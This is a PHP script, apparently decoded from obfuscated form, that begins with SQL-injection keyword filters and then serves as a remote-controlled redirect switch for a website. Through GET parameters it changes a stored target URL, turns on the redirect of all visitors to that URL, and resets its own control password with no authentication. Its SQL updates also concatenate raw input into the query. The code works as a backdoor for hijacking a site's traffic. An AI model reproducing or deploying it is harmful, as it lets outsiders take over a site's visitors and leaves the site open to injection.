<?php

//decode by QQ:270656184 http://www.yunlu99.com/
$getfilter = "'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq)
{
	if (is_array($StrFiltValue)) {
		$StrFiltValue = implode($StrFiltValue);
	}
	if (preg_match("/" . $ArrFiltReq . "/is", $StrFiltValue) == 1) {
		print "非法操作!";
		exit;
	}
}
foreach ($_GET as $key => $value) {
	StopAttack($key, $value, $getfilter);
}
foreach ($_POST as $key => $value) {
	StopAttack($key, $value, $postfilter);
}
foreach ($_COOKIE as $key => $value) {
	StopAttack($key, $value, $cookiefilter);
}
$result = mysql_query('select * from xiaoyewl_c where id = 1');
if ($row = mysql_fetch_array($result)) {
	$get_url = $row['url'];
	$get_check = $row['c_check'];
	$get_password = $row['password'];
}
if ($_GET['act'] == 'd' and $_GET['password'] == $get_password and $_GET['url'] != '' and $_GET['check'] == '') {
	$sql = "update xiaoyewl_c set  url = '" . $_GET['url'] . "' where id = 1 ";
	mysql_query($sql);
	echo "域名修改成功";
}
if ($_GET['act'] == 'd' and $_GET['password'] == $get_password and $_GET['check'] == '1') {
	$sql = "update xiaoyewl_c set  c_check =  1 where id = 1 ";
	mysql_query($sql);
	echo "已开启";
}
if ($_GET['act'] == 'd' and $_GET['password'] == $get_password and $_GET['check'] == '0') {
	$sql = "update xiaoyewl_c set  c_check =  0 where id = 1 ";
	mysql_query($sql);
	echo "已关闭";
}
if ($_GET['act'] == 'd1' and $_GET['password'] != '') {
	$sql = "update xiaoyewl_c set  password =  '" . $_GET['password'] . "' where id = 1 ";
	mysql_query($sql);
	echo "管理密码修改成功";
}
if ($get_check == 1 and $_GET['act'] == '') {
	header('Location:' . $get_url . '');
	die;
}